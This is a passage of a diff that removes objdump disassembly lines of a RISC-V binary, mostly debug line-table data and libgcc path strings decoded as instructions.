-    321a:	0000                	unimp
-    321c:	0301                	addi	t1,t1,0
-    321e:	0900                	addi	s0,sp,144
-    3220:	0006                	c.slli	zero,0x1
-    3222:	0301                	addi	t1,t1,0
-    3224:	0900                	addi	s0,sp,144
-    3226:	0004                	0x4
-    3228:	0301                	addi	t1,t1,0
-    322a:	0900                	addi	s0,sp,144
-    322c:	0004                	0x4
-    322e:	0301                	addi	t1,t1,0
-    3230:	0900                	addi	s0,sp,144
-    3232:	0006                	c.slli	zero,0x1
-    3234:	0301                	addi	t1,t1,0
-    3236:	0900                	addi	s0,sp,144
-    3238:	0004                	0x4
-    323a:	0301                	addi	t1,t1,0
-    323c:	0900                	addi	s0,sp,144
-    323e:	0004                	0x4
-    3240:	0301                	addi	t1,t1,0
-    3242:	0900                	addi	s0,sp,144
-    3244:	0006                	c.slli	zero,0x1
-    3246:	0301                	addi	t1,t1,0
-    3248:	0900                	addi	s0,sp,144
-    324a:	0002                	c.slli64	zero
-    324c:	0301                	addi	t1,t1,0
-    324e:	0900                	addi	s0,sp,144
-    3250:	0004                	0x4
-    3252:	0301                	addi	t1,t1,0
-    3254:	0900                	addi	s0,sp,144
-    3256:	000a                	c.slli	zero,0x2
-    3258:	0301                	addi	t1,t1,0
-    325a:	0900                	addi	s0,sp,144
-    325c:	000a                	c.slli	zero,0x2
-    325e:	0301                	addi	t1,t1,0
-    3260:	0900                	addi	s0,sp,144
-    3262:	0000                	unimp
-    3264:	0301                	addi	t1,t1,0
-    3266:	0900                	addi	s0,sp,144
-    3268:	0006                	c.slli	zero,0x1
-    326a:	0301                	addi	t1,t1,0
-    326c:	0900                	addi	s0,sp,144
-    326e:	0006                	c.slli	zero,0x1
-    3270:	0301                	addi	t1,t1,0
-    3272:	0900                	addi	s0,sp,144
-    3274:	0004                	0x4
-    3276:	0301                	addi	t1,t1,0
-    3278:	0900                	addi	s0,sp,144
-    327a:	0004                	0x4
-    327c:	0301                	addi	t1,t1,0
-    327e:	0900                	addi	s0,sp,144
-    3280:	0004                	0x4
-    3282:	0301                	addi	t1,t1,0
-    3284:	0900                	addi	s0,sp,144
-    3286:	0000                	unimp
-    3288:	0301                	addi	t1,t1,0
-    328a:	0900                	addi	s0,sp,144
-    328c:	0004                	0x4
-    328e:	0301                	addi	t1,t1,0
-    3290:	0900                	addi	s0,sp,144
-    3292:	0000                	unimp
-    3294:	0301                	addi	t1,t1,0
-    3296:	0901                	addi	s2,s2,0
-    3298:	0000                	unimp
-    329a:	0501                	addi	a0,a0,0
-    329c:	fe03060b          	0xfe03060b
-    32a0:	0900                	addi	s0,sp,144
-    32a2:	0000                	unimp
-    32a4:	0501                	addi	a0,a0,0
-    32a6:	0304                	addi	s1,sp,384
-    32a8:	7ef5                	lui	t4,0xffffd
-    32aa:	0409                	addi	s0,s0,2
-    32ac:	0100                	addi	s0,sp,128
-    32ae:	0306                	slli	t1,t1,0x1
-    32b0:	0915                	addi	s2,s2,5
-    32b2:	000e                	c.slli	zero,0x3
-    32b4:	0501                	addi	a0,a0,0
-    32b6:	00030607          	0x30607
-    32ba:	0009                	c.nop	2
-    32bc:	0100                	addi	s0,sp,128
-    32be:	0605                	addi	a2,a2,1
-    32c0:	0306                	slli	t1,t1,0x1
-    32c2:	0901                	addi	s2,s2,0
-    32c4:	0002                	c.slli64	zero
-    32c6:	0501                	addi	a0,a0,0
-    32c8:	0609                	addi	a2,a2,2
-    32ca:	00090003          	lb	zero,0(s2)
-    32ce:	0100                	addi	s0,sp,128
-    32d0:	0405                	addi	s0,s0,1
-    32d2:	0306                	slli	t1,t1,0x1
-    32d4:	0902                	c.slli64	s2
-    32d6:	0006                	c.slli	zero,0x1
-    32d8:	0301                	addi	t1,t1,0
-    32da:	0900                	addi	s0,sp,144
-    32dc:	0000                	unimp
-    32de:	0301                	addi	t1,t1,0
-    32e0:	0900                	addi	s0,sp,144
-    32e2:	0000                	unimp
-    32e4:	0301                	addi	t1,t1,0
-    32e6:	0900                	addi	s0,sp,144
-    32e8:	0000                	unimp
-    32ea:	0301                	addi	t1,t1,0
-    32ec:	0900                	addi	s0,sp,144
-    32ee:	0000                	unimp
-    32f0:	0301                	addi	t1,t1,0
-    32f2:	0900                	addi	s0,sp,144
-    32f4:	0010                	0x10
-    32f6:	0301                	addi	t1,t1,0
-    32f8:	0900                	addi	s0,sp,144
-    32fa:	0014                	0x14
-    32fc:	0301                	addi	t1,t1,0
-    32fe:	0902                	c.slli64	s2
-    3300:	0000                	unimp
-    3302:	0501                	addi	a0,a0,0
-    3304:	00030607          	0x30607
-    3308:	0009                	c.nop	2
-    330a:	0100                	addi	s0,sp,128
-    330c:	0805                	addi	a6,a6,1
-    330e:	0306                	slli	t1,t1,0x1
-    3310:	0909                	addi	s2,s2,2
-    3312:	0004                	0x4
-    3314:	0501                	addi	a0,a0,0
-    3316:	0003060b          	0x3060b
-    331a:	0009                	c.nop	2
-    331c:	0100                	addi	s0,sp,128
-    331e:	0805                	addi	a6,a6,1
-    3320:	0306                	slli	t1,t1,0x1
-    3322:	0901                	addi	s2,s2,0
-    3324:	0004                	0x4
-    3326:	0501                	addi	a0,a0,0
-    3328:	0003060b          	0x3060b
-    332c:	0009                	c.nop	2
-    332e:	0100                	addi	s0,sp,128
-    3330:	0805                	addi	a6,a6,1
-    3332:	0306                	slli	t1,t1,0x1
-    3334:	090d                	addi	s2,s2,3
-    3336:	0002                	c.slli64	zero
-    3338:	0501                	addi	a0,a0,0
-    333a:	0304                	addi	s1,sp,384
-    333c:	0905                	addi	s2,s2,1
-    333e:	0000                	unimp
-    3340:	0301                	addi	t1,t1,0
-    3342:	0900                	addi	s0,sp,144
-    3344:	0000                	unimp
-    3346:	0301                	addi	t1,t1,0
-    3348:	0900                	addi	s0,sp,144
-    334a:	0000                	unimp
-    334c:	0301                	addi	t1,t1,0
-    334e:	0900                	addi	s0,sp,144
-    3350:	0000                	unimp
-    3352:	0301                	addi	t1,t1,0
-    3354:	0900                	addi	s0,sp,144
-    3356:	0004                	0x4
-    3358:	0301                	addi	t1,t1,0
-    335a:	0900                	addi	s0,sp,144
-    335c:	0006                	c.slli	zero,0x1
-    335e:	0301                	addi	t1,t1,0
-    3360:	0900                	addi	s0,sp,144
-    3362:	0008                	0x8
-    3364:	0301                	addi	t1,t1,0
-    3366:	0900                	addi	s0,sp,144
-    3368:	0004                	0x4
-    336a:	0301                	addi	t1,t1,0
-    336c:	0900                	addi	s0,sp,144
-    336e:	0008                	0x8
-    3370:	0301                	addi	t1,t1,0
-    3372:	0900                	addi	s0,sp,144
-    3374:	0000                	unimp
-    3376:	0301                	addi	t1,t1,0
-    3378:	0900                	addi	s0,sp,144
-    337a:	0006                	c.slli	zero,0x1
-    337c:	0301                	addi	t1,t1,0
-    337e:	0900                	addi	s0,sp,144
-    3380:	0006                	c.slli	zero,0x1
-    3382:	0301                	addi	t1,t1,0
-    3384:	0900                	addi	s0,sp,144
-    3386:	0004                	0x4
-    3388:	0301                	addi	t1,t1,0
-    338a:	0900                	addi	s0,sp,144
-    338c:	0004                	0x4
-    338e:	0301                	addi	t1,t1,0
-    3390:	0900                	addi	s0,sp,144
-    3392:	0006                	c.slli	zero,0x1
-    3394:	0301                	addi	t1,t1,0
-    3396:	0900                	addi	s0,sp,144
-    3398:	0004                	0x4
-    339a:	0301                	addi	t1,t1,0
-    339c:	0900                	addi	s0,sp,144
-    339e:	0004                	0x4
-    33a0:	0301                	addi	t1,t1,0
-    33a2:	0900                	addi	s0,sp,144
-    33a4:	000a                	c.slli	zero,0x2
-    33a6:	0301                	addi	t1,t1,0
-    33a8:	0900                	addi	s0,sp,144
-    33aa:	000a                	c.slli	zero,0x2
-    33ac:	0301                	addi	t1,t1,0
-    33ae:	0900                	addi	s0,sp,144
-    33b0:	0000                	unimp
-    33b2:	0301                	addi	t1,t1,0
-    33b4:	0900                	addi	s0,sp,144
-    33b6:	0006                	c.slli	zero,0x1
-    33b8:	0301                	addi	t1,t1,0
-    33ba:	0900                	addi	s0,sp,144
-    33bc:	0006                	c.slli	zero,0x1
-    33be:	0301                	addi	t1,t1,0
-    33c0:	0900                	addi	s0,sp,144
-    33c2:	0004                	0x4
-    33c4:	0301                	addi	t1,t1,0
-    33c6:	0900                	addi	s0,sp,144
-    33c8:	0004                	0x4
-    33ca:	0301                	addi	t1,t1,0
-    33cc:	0900                	addi	s0,sp,144
-    33ce:	0004                	0x4
-    33d0:	0301                	addi	t1,t1,0
-    33d2:	0900                	addi	s0,sp,144
-    33d4:	0000                	unimp
-    33d6:	0301                	addi	t1,t1,0
-    33d8:	0900                	addi	s0,sp,144
-    33da:	0004                	0x4
-    33dc:	0501                	addi	a0,a0,0
-    33de:	00e30303          	lb	t1,14(t1)
-    33e2:	0009                	c.nop	2
-    33e4:	0100                	addi	s0,sp,128
-    33e6:	00090103          	lb	sp,0(s2)
-    33ea:	0100                	addi	s0,sp,128
-    33ec:	0105                	addi	sp,sp,1
-    33ee:	0306                	slli	t1,t1,0x1
-    33f0:	00e1                	addi	ra,ra,24
-    33f2:	0009                	c.nop	2
-    33f4:	0100                	addi	s0,sp,128
-    33f6:	0405                	addi	s0,s0,1
-    33f8:	097e9d03          	lh	s10,151(t4) # ffffd097 <_heap_end+0x7ffee897>
-    33fc:	0002                	c.slli64	zero
-    33fe:	0501                	addi	a0,a0,0
-    3400:	0608                	addi	a0,sp,768
-    3402:	0e091203          	lh	tp,224(s2)
-    3406:	0100                	addi	s0,sp,128
-    3408:	00090203          	lb	tp,0(s2)
-    340c:	0100                	addi	s0,sp,128
-    340e:	0b05                	addi	s6,s6,1
-    3410:	0306                	slli	t1,t1,0x1
-    3412:	0900                	addi	s0,sp,144
-    3414:	0000                	unimp
-    3416:	0501                	addi	a0,a0,0
-    3418:	0608                	addi	a0,sp,768
-    341a:	04090103          	lb	sp,64(s2)
-    341e:	0100                	addi	s0,sp,128
-    3420:	0b05                	addi	s6,s6,1
-    3422:	0306                	slli	t1,t1,0x1
-    3424:	0900                	addi	s0,sp,144
-    3426:	0000                	unimp
-    3428:	0501                	addi	a0,a0,0
-    342a:	0608                	addi	a0,sp,768
-    342c:	04090103          	lb	sp,64(s2)
-    3430:	0100                	addi	s0,sp,128
-    3432:	0b05                	addi	s6,s6,1
-    3434:	0306                	slli	t1,t1,0x1
-    3436:	0901                	addi	s2,s2,0
-    3438:	0000                	unimp
-    343a:	0501                	addi	a0,a0,0
-    343c:	0311                	addi	t1,t1,4
-    343e:	097f                	0x97f
-    3440:	0004                	0x4
-    3442:	0501                	addi	a0,a0,0
-    3444:	031e                	slli	t1,t1,0x7
-    3446:	0900                	addi	s0,sp,144
-    3448:	0004                	0x4
-    344a:	0501                	addi	a0,a0,0
-    344c:	0308                	addi	a0,sp,384
-    344e:	00040903          	lb	s2,0(s0)
-    3452:	0501                	addi	a0,a0,0
-    3454:	097d030b          	0x97d030b
-    3458:	0004                	0x4
-    345a:	0501                	addi	a0,a0,0
-    345c:	0608                	addi	a0,sp,768
-    345e:	04090103          	lb	sp,64(s2)
-    3462:	0100                	addi	s0,sp,128
-    3464:	00090203          	lb	tp,0(s2)
-    3468:	0100                	addi	s0,sp,128
-    346a:	00090003          	lb	zero,0(s2)
-    346e:	0100                	addi	s0,sp,128
-    3470:	00090003          	lb	zero,0(s2)
-    3474:	0100                	addi	s0,sp,128
-    3476:	00090003          	lb	zero,0(s2)
-    347a:	0100                	addi	s0,sp,128
-    347c:	00090003          	lb	zero,0(s2)
-    3480:	0100                	addi	s0,sp,128
-    3482:	0a090003          	lb	zero,160(s2)
-    3486:	0100                	addi	s0,sp,128
-    3488:	00090003          	lb	zero,0(s2)
-    348c:	0100                	addi	s0,sp,128
-    348e:	08090003          	lb	zero,128(s2)
-    3492:	0100                	addi	s0,sp,128
-    3494:	08090003          	lb	zero,128(s2)
-    3498:	0100                	addi	s0,sp,128
-    349a:	00090003          	lb	zero,0(s2)
-    349e:	0100                	addi	s0,sp,128
-    34a0:	06090003          	lb	zero,96(s2)
-    34a4:	0100                	addi	s0,sp,128
-    34a6:	06090003          	lb	zero,96(s2)
-    34aa:	0100                	addi	s0,sp,128
-    34ac:	04090003          	lb	zero,64(s2)
-    34b0:	0100                	addi	s0,sp,128
-    34b2:	04090003          	lb	zero,64(s2)
-    34b6:	0100                	addi	s0,sp,128
-    34b8:	06090003          	lb	zero,96(s2)
-    34bc:	0100                	addi	s0,sp,128
-    34be:	04090003          	lb	zero,64(s2)
-    34c2:	0100                	addi	s0,sp,128
-    34c4:	04090003          	lb	zero,64(s2)
-    34c8:	0100                	addi	s0,sp,128
-    34ca:	08090003          	lb	zero,128(s2)
-    34ce:	0100                	addi	s0,sp,128
-    34d0:	06090003          	lb	zero,96(s2)
-    34d4:	0100                	addi	s0,sp,128
-    34d6:	04090003          	lb	zero,64(s2)
-    34da:	0100                	addi	s0,sp,128
-    34dc:	06090003          	lb	zero,96(s2)
-    34e0:	0100                	addi	s0,sp,128
-    34e2:	06090003          	lb	zero,96(s2)
-    34e6:	0100                	addi	s0,sp,128
-    34e8:	04090003          	lb	zero,64(s2)
-    34ec:	0100                	addi	s0,sp,128
-    34ee:	04090003          	lb	zero,64(s2)
-    34f2:	0100                	addi	s0,sp,128
-    34f4:	06090003          	lb	zero,96(s2)
-    34f8:	0100                	addi	s0,sp,128
-    34fa:	04090003          	lb	zero,64(s2)
-    34fe:	0100                	addi	s0,sp,128
-    3500:	02090003          	lb	zero,32(s2)
-    3504:	0100                	addi	s0,sp,128
-    3506:	0705                	addi	a4,a4,1
-    3508:	02091503          	lh	a0,32(s2)
-    350c:	0100                	addi	s0,sp,128
-    350e:	0a05                	addi	s4,s4,1
-    3510:	0306                	slli	t1,t1,0x1
-    3512:	0900                	addi	s0,sp,144
-    3514:	0000                	unimp
-    3516:	0501                	addi	a0,a0,0
-    3518:	0604                	addi	s1,sp,768
-    351a:	04091303          	lh	t1,64(s2)
-    351e:	0100                	addi	s0,sp,128
-    3520:	00090003          	lb	zero,0(s2)
-    3524:	0100                	addi	s0,sp,128
-    3526:	00090003          	lb	zero,0(s2)
-    352a:	0100                	addi	s0,sp,128
-    352c:	00090003          	lb	zero,0(s2)
-    3530:	0100                	addi	s0,sp,128
-    3532:	00090003          	lb	zero,0(s2)
-    3536:	0100                	addi	s0,sp,128
-    3538:	10090003          	lb	zero,256(s2)
-    353c:	0100                	addi	s0,sp,128
-    353e:	1c090003          	lb	zero,448(s2)
-    3542:	0100                	addi	s0,sp,128
-    3544:	00090103          	lb	sp,0(s2)
-    3548:	0100                	addi	s0,sp,128
-    354a:	0705                	addi	a4,a4,1
-    354c:	0306                	slli	t1,t1,0x1
-    354e:	0900                	addi	s0,sp,144
-    3550:	0000                	unimp
-    3552:	0501                	addi	a0,a0,0
-    3554:	0608                	addi	a0,sp,768
-    3556:	04090a03          	lb	s4,64(s2)
-    355a:	0100                	addi	s0,sp,128
-    355c:	0306                	slli	t1,t1,0x1
-    355e:	0902                	c.slli64	s2
-    3560:	0000                	unimp
-    3562:	0501                	addi	a0,a0,0
-    3564:	097e030b          	0x97e030b
-    3568:	0002                	c.slli64	zero
-    356a:	0501                	addi	a0,a0,0
-    356c:	0314                	addi	a3,sp,384
-    356e:	0900                	addi	s0,sp,144
-    3570:	0004                	0x4
-    3572:	0501                	addi	a0,a0,0
-    3574:	0304                	addi	s1,sp,384
-    3576:	0975                	addi	s2,s2,29
-    3578:	000a                	c.slli	zero,0x2
-    357a:	0501                	addi	a0,a0,0
-    357c:	0608                	addi	a0,sp,768
-    357e:	0e091e03          	lh	t3,224(s2)
-    3582:	0100                	addi	s0,sp,128
-    3584:	00090303          	lb	t1,0(s2)
-    3588:	0100                	addi	s0,sp,128
-    358a:	00090203          	lb	tp,0(s2)
-    358e:	0100                	addi	s0,sp,128
-    3590:	1e05                	addi	t3,t3,-31
-    3592:	0306                	slli	t1,t1,0x1
-    3594:	0900                	addi	s0,sp,144
-    3596:	0000                	unimp
-    3598:	0501                	addi	a0,a0,0
-    359a:	0311                	addi	t1,t1,4
-    359c:	0900                	addi	s0,sp,144
-    359e:	0004                	0x4
-    35a0:	0501                	addi	a0,a0,0
-    35a2:	0900030b          	0x900030b
-    35a6:	0004                	0x4
-    35a8:	0501                	addi	a0,a0,0
-    35aa:	0608                	addi	a0,sp,768
-    35ac:	04090103          	lb	sp,64(s2)
-    35b0:	0100                	addi	s0,sp,128
-    35b2:	0b05                	addi	s6,s6,1
-    35b4:	0306                	slli	t1,t1,0x1
-    35b6:	0901                	addi	s2,s2,0
-    35b8:	0000                	unimp
-    35ba:	0501                	addi	a0,a0,0
-    35bc:	0308                	addi	a0,sp,384
-    35be:	0904                	addi	s1,sp,144
-    35c0:	0004                	0x4
-    35c2:	0501                	addi	a0,a0,0
-    35c4:	0311                	addi	t1,t1,4
-    35c6:	097d                	addi	s2,s2,31
-    35c8:	0008                	0x8
-    35ca:	0501                	addi	a0,a0,0
-    35cc:	031e                	slli	t1,t1,0x7
-    35ce:	0900                	addi	s0,sp,144
-    35d0:	0004                	0x4
-    35d2:	0501                	addi	a0,a0,0
-    35d4:	097e030b          	0x97e030b
-    35d8:	0004                	0x4
-    35da:	0501                	addi	a0,a0,0
-    35dc:	0608                	addi	a0,sp,768
-    35de:	04090103          	lb	sp,64(s2)
-    35e2:	0100                	addi	s0,sp,128
-    35e4:	00090103          	lb	sp,0(s2)
-    35e8:	0100                	addi	s0,sp,128
-    35ea:	0b05                	addi	s6,s6,1
-    35ec:	0306                	slli	t1,t1,0x1
-    35ee:	0900                	addi	s0,sp,144
-    35f0:	0000                	unimp
-    35f2:	0501                	addi	a0,a0,0
-    35f4:	0608                	addi	a0,sp,768
-    35f6:	04090103          	lb	sp,64(s2)
-    35fa:	0100                	addi	s0,sp,128
-    35fc:	00090203          	lb	tp,0(s2)
-    3600:	0100                	addi	s0,sp,128
-    3602:	00090003          	lb	zero,0(s2)
-    3606:	0100                	addi	s0,sp,128
-    3608:	00090003          	lb	zero,0(s2)
-    360c:	0100                	addi	s0,sp,128
-    360e:	00090003          	lb	zero,0(s2)
-    3612:	0100                	addi	s0,sp,128
-    3614:	00090003          	lb	zero,0(s2)
-    3618:	0100                	addi	s0,sp,128
-    361a:	06090003          	lb	zero,96(s2)
-    361e:	0100                	addi	s0,sp,128
-    3620:	00090003          	lb	zero,0(s2)
-    3624:	0100                	addi	s0,sp,128
-    3626:	08090003          	lb	zero,128(s2)
-    362a:	0100                	addi	s0,sp,128
-    362c:	08090003          	lb	zero,128(s2)
-    3630:	0100                	addi	s0,sp,128
-    3632:	00090003          	lb	zero,0(s2)
-    3636:	0100                	addi	s0,sp,128
-    3638:	06090003          	lb	zero,96(s2)
-    363c:	0100                	addi	s0,sp,128
-    363e:	06090003          	lb	zero,96(s2)
-    3642:	0100                	addi	s0,sp,128
-    3644:	04090003          	lb	zero,64(s2)
-    3648:	0100                	addi	s0,sp,128
-    364a:	04090003          	lb	zero,64(s2)
-    364e:	0100                	addi	s0,sp,128
-    3650:	06090003          	lb	zero,96(s2)
-    3654:	0100                	addi	s0,sp,128
-    3656:	04090003          	lb	zero,64(s2)
-    365a:	0100                	addi	s0,sp,128
-    365c:	04090003          	lb	zero,64(s2)
-    3660:	0100                	addi	s0,sp,128
-    3662:	04090003          	lb	zero,64(s2)
-    3666:	0100                	addi	s0,sp,128
-    3668:	06090003          	lb	zero,96(s2)
-    366c:	0100                	addi	s0,sp,128
-    366e:	08090003          	lb	zero,128(s2)
-    3672:	0100                	addi	s0,sp,128
-    3674:	06090003          	lb	zero,96(s2)
-    3678:	0100                	addi	s0,sp,128
-    367a:	06090003          	lb	zero,96(s2)
-    367e:	0100                	addi	s0,sp,128
-    3680:	04090003          	lb	zero,64(s2)
-    3684:	0100                	addi	s0,sp,128
-    3686:	04090003          	lb	zero,64(s2)
-    368a:	0100                	addi	s0,sp,128
-    368c:	06090003          	lb	zero,96(s2)
-    3690:	0100                	addi	s0,sp,128
-    3692:	0306                	slli	t1,t1,0x1
-    3694:	0901                	addi	s2,s2,0
-    3696:	0002                	c.slli64	zero
-    3698:	0301                	addi	t1,t1,0
-    369a:	097f                	0x97f
-    369c:	0002                	c.slli64	zero
-    369e:	0301                	addi	t1,t1,0
-    36a0:	0901                	addi	s2,s2,0
-    36a2:	0002                	c.slli64	zero
-    36a4:	0301                	addi	t1,t1,0
-    36a6:	097f                	0x97f
-    36a8:	000c                	0xc
-    36aa:	0601                	addi	a2,a2,0
-    36ac:	04090003          	lb	zero,64(s2)
-    36b0:	0100                	addi	s0,sp,128
-    36b2:	00090003          	lb	zero,0(s2)
-    36b6:	0100                	addi	s0,sp,128
-    36b8:	00090003          	lb	zero,0(s2)
-    36bc:	0100                	addi	s0,sp,128
-    36be:	00090103          	lb	sp,0(s2)
-    36c2:	0100                	addi	s0,sp,128
-    36c4:	00090003          	lb	zero,0(s2)
-    36c8:	0100                	addi	s0,sp,128
-    36ca:	00090003          	lb	zero,0(s2)
-    36ce:	0100                	addi	s0,sp,128
-    36d0:	00090003          	lb	zero,0(s2)
-    36d4:	0100                	addi	s0,sp,128
-    36d6:	04090003          	lb	zero,64(s2)
-    36da:	0100                	addi	s0,sp,128
-    36dc:	00090003          	lb	zero,0(s2)
-    36e0:	0100                	addi	s0,sp,128
-    36e2:	04090003          	lb	zero,64(s2)
-    36e6:	0100                	addi	s0,sp,128
-    36e8:	00090003          	lb	zero,0(s2)
-    36ec:	0100                	addi	s0,sp,128
-    36ee:	04090003          	lb	zero,64(s2)
-    36f2:	0100                	addi	s0,sp,128
-    36f4:	00090003          	lb	zero,0(s2)
-    36f8:	0100                	addi	s0,sp,128
-    36fa:	04090003          	lb	zero,64(s2)
-    36fe:	0100                	addi	s0,sp,128
-    3700:	10090003          	lb	zero,256(s2)
-    3704:	0100                	addi	s0,sp,128
-    3706:	00090003          	lb	zero,0(s2)
-    370a:	0100                	addi	s0,sp,128
-    370c:	00090003          	lb	zero,0(s2)
-    3710:	0100                	addi	s0,sp,128
-    3712:	04090003          	lb	zero,64(s2)
-    3716:	0100                	addi	s0,sp,128
-    3718:	02090003          	lb	zero,32(s2)
-    371c:	0100                	addi	s0,sp,128
-    371e:	06090003          	lb	zero,96(s2)
-    3722:	0100                	addi	s0,sp,128
-    3724:	00090003          	lb	zero,0(s2)
-    3728:	0100                	addi	s0,sp,128
-    372a:	00090203          	lb	tp,0(s2)
-    372e:	0100                	addi	s0,sp,128
-    3730:	0b05                	addi	s6,s6,1
-    3732:	0306                	slli	t1,t1,0x1
-    3734:	0900                	addi	s0,sp,144
-    3736:	0000                	unimp
-    3738:	0501                	addi	a0,a0,0
-    373a:	0314                	addi	a3,sp,384
-    373c:	0900                	addi	s0,sp,144
-    373e:	0004                	0x4
-    3740:	0501                	addi	a0,a0,0
-    3742:	0308                	addi	a0,sp,384
-    3744:	097e                	slli	s2,s2,0x1f
-    3746:	0004                	0x4
-    3748:	0501                	addi	a0,a0,0
-    374a:	097d030b          	0x97d030b
-    374e:	000c                	0xc
-    3750:	0501                	addi	a0,a0,0
-    3752:	0308                	addi	a0,sp,384
-    3754:	00040903          	lb	s2,0(s0)
-    3758:	0501                	addi	a0,a0,0
-    375a:	0908030b          	0x908030b
-    375e:	0002                	c.slli64	zero
-    3760:	0501                	addi	a0,a0,0
-    3762:	0321                	addi	t1,t1,8
-    3764:	097a                	slli	s2,s2,0x1e
-    3766:	0002                	c.slli64	zero
-    3768:	0501                	addi	a0,a0,0
-    376a:	0605                	addi	a2,a2,1
-    376c:	04090203          	lb	tp,64(s2)
-    3770:	0100                	addi	s0,sp,128
-    3772:	0705                	addi	a4,a4,1
-    3774:	0306                	slli	t1,t1,0x1
-    3776:	0900                	addi	s0,sp,144
-    3778:	0000                	unimp
-    377a:	0501                	addi	a0,a0,0
-    377c:	0605                	addi	a2,a2,1
-    377e:	02090103          	lb	sp,32(s2)
-    3782:	0100                	addi	s0,sp,128
-    3784:	00090003          	lb	zero,0(s2)
-    3788:	0100                	addi	s0,sp,128
-    378a:	00090003          	lb	zero,0(s2)
-    378e:	0100                	addi	s0,sp,128
-    3790:	00090003          	lb	zero,0(s2)
-    3794:	0100                	addi	s0,sp,128
-    3796:	00090003          	lb	zero,0(s2)
-    379a:	0100                	addi	s0,sp,128
-    379c:	0705                	addi	a4,a4,1
-    379e:	0306                	slli	t1,t1,0x1
-    37a0:	00020943          	fmadd.s	fs2,ft4,ft0,ft0,rne
-    37a4:	0301                	addi	t1,t1,0
-    37a6:	097f                	0x97f
-    37a8:	0002                	c.slli64	zero
-    37aa:	0901                	addi	s2,s2,0
-    37ac:	0004                	0x4
-    37ae:	0100                	addi	s0,sp,128
-    37b0:	5501                	li	a0,-32
-    37b2:	0000                	unimp
-    37b4:	0300                	addi	s0,sp,384
-    37b6:	4f00                	lw	s0,24(a4)
-    37b8:	0000                	unimp
-    37ba:	0100                	addi	s0,sp,128
-    37bc:	fb01                	bnez	a4,36cc <__stack_size+0x2ecc>
-    37be:	0d0e                	slli	s10,s10,0x3
-    37c0:	0100                	addi	s0,sp,128
-    37c2:	0101                	addi	sp,sp,0
-    37c4:	0001                	nop
-    37c6:	0000                	unimp
-    37c8:	0001                	nop
-    37ca:	0100                	addi	s0,sp,128
-    37cc:	2e2e                	fld	ft8,200(sp)
-    37ce:	2f2e2e2f          	0x2f2e2e2f
-    37d2:	2e2e                	fld	ft8,200(sp)
-    37d4:	2f2e2e2f          	0x2f2e2e2f
-    37d8:	2e2e                	fld	ft8,200(sp)
-    37da:	722f2e2f          	0x722f2e2f
-    37de:	7369                	lui	t1,0xffffa
-    37e0:	672d7663          	bgeu	s10,s2,3e4c <__stack_size+0x364c>
-    37e4:	6c2f6363          	bltu	t5,sp,3eaa <__stack_size+0x36aa>
-    37e8:	6269                	lui	tp,0x1a
-    37ea:	00636367          	0x636367
-    37ee:	6c00                	flw	fs0,24(s0)
-    37f0:	6269                	lui	tp,0x1a
-    37f2:	32636367          	0x32636367
-    37f6:	682e                	flw	fa6,200(sp)
-    37f8:	0100                	addi	s0,sp,128
-    37fa:	0000                	unimp
-    37fc:	696c                	flw	fa1,84(a0)
-    37fe:	6762                	flw	fa4,24(sp)
-    3800:	2e326363          	bltu	tp,gp,3ae6 <__stack_size+0x32e6>
-    3804:	00010063          	beqz	sp,3804 <__stack_size+0x3004>
-    3808:	0000                	unimp
-    380a:	0809                	addi	a6,a6,2
-    380c:	0000                	unimp
-    380e:	004f0003          	lb	zero,4(t5)
-    3812:	0000                	unimp
-    3814:	0101                	addi	sp,sp,0
-    3816:	000d0efb          	0xd0efb
-    381a:	0101                	addi	sp,sp,0
-    381c:	0101                	addi	sp,sp,0
-    381e:	0000                	unimp
-    3820:	0100                	addi	s0,sp,128
-    3822:	0000                	unimp
-    3824:	2e01                	jal	3b34 <__stack_size+0x3334>
-    3826:	2f2e                	fld	ft10,200(sp)
-    3828:	2e2e                	fld	ft8,200(sp)
-    382a:	2f2e2e2f          	0x2f2e2e2f
-    382e:	2e2e                	fld	ft8,200(sp)
-    3830:	2f2e2e2f          	0x2f2e2e2f
-    3834:	2f2e                	fld	ft10,200(sp)
-    3836:	6972                	flw	fs2,28(sp)
-    3838:	2d766373          	csrrsi	t1,0x2d7,12
-    383c:	2f636367          	0x2f636367
-    3840:	696c                	flw	fa1,84(a0)
-    3842:	6762                	flw	fa4,24(sp)
-    3844:	00006363          	bltu	zero,zero,384a <__stack_size+0x304a>
-    3848:	696c                	flw	fa1,84(a0)
-    384a:	6762                	flw	fa4,24(sp)
-    384c:	2e326363          	bltu	tp,gp,3b32 <__stack_size+0x3332>
-    3850:	00010063          	beqz	sp,3850 <__stack_size+0x3050>
-    3854:	6c00                	flw	fs0,24(s0)
-    3856:	6269                	lui	tp,0x1a
-    3858:	32636367          	0x32636367
-    385c:	682e                	flw	fa6,200(sp)
-    385e:	0100                	addi	s0,sp,128
-    3860:	0000                	unimp
-    3862:	0500                	addi	s0,sp,640
-    3864:	0001                	nop
-    3866:	0205                	addi	tp,tp,1
-    3868:	4ed6                	lw	t4,84(sp)
-    386a:	2040                	fld	fs0,128(s0)
-    386c:	010a9a03          	lh	s4,16(s5)
-    3870:	0306                	slli	t1,t1,0x1
-    3872:	0900                	addi	s0,sp,144
-    3874:	0000                	unimp
-    3876:	0501                	addi	a0,a0,0
-    3878:	01030603          	lb	a2,16(t1) # ffffa010 <_heap_end+0x7ffeb810>
-    387c:	0209                	addi	tp,tp,2
-    387e:	0100                	addi	s0,sp,128
-    3880:	00090203          	lb	tp,0(s2)
-    3884:	0100                	addi	s0,sp,128
-    3886:	097ddb03          	lhu	s6,151(s11) # ffff6097 <_heap_end+0x7ffe7897>
-    388a:	0000                	unimp
-    388c:	0301                	addi	t1,t1,0
-    388e:	0901                	addi	s2,s2,0
-    3890:	0000                	unimp
-    3892:	0301                	addi	t1,t1,0
-    3894:	0901                	addi	s2,s2,0
-    3896:	0000                	unimp
-    3898:	0301                	addi	t1,t1,0
-    389a:	0901                	addi	s2,s2,0
-    389c:	0000                	unimp
-    389e:	0301                	addi	t1,t1,0
-    38a0:	0901                	addi	s2,s2,0
-    38a2:	0000                	unimp
-    38a4:	0301                	addi	t1,t1,0
-    38a6:	0901                	addi	s2,s2,0
-    38a8:	0000                	unimp
-    38aa:	0301                	addi	t1,t1,0
-    38ac:	0902                	c.slli64	s2
-    38ae:	0000                	unimp
-    38b0:	0501                	addi	a0,a0,0
-    38b2:	0606                	slli	a2,a2,0x1
-    38b4:	00090003          	lb	zero,0(s2)
-    38b8:	0100                	addi	s0,sp,128
-    38ba:	0305                	addi	t1,t1,1
-    38bc:	0306                	slli	t1,t1,0x1
-    38be:	0901                	addi	s2,s2,0
-    38c0:	0002                	c.slli64	zero
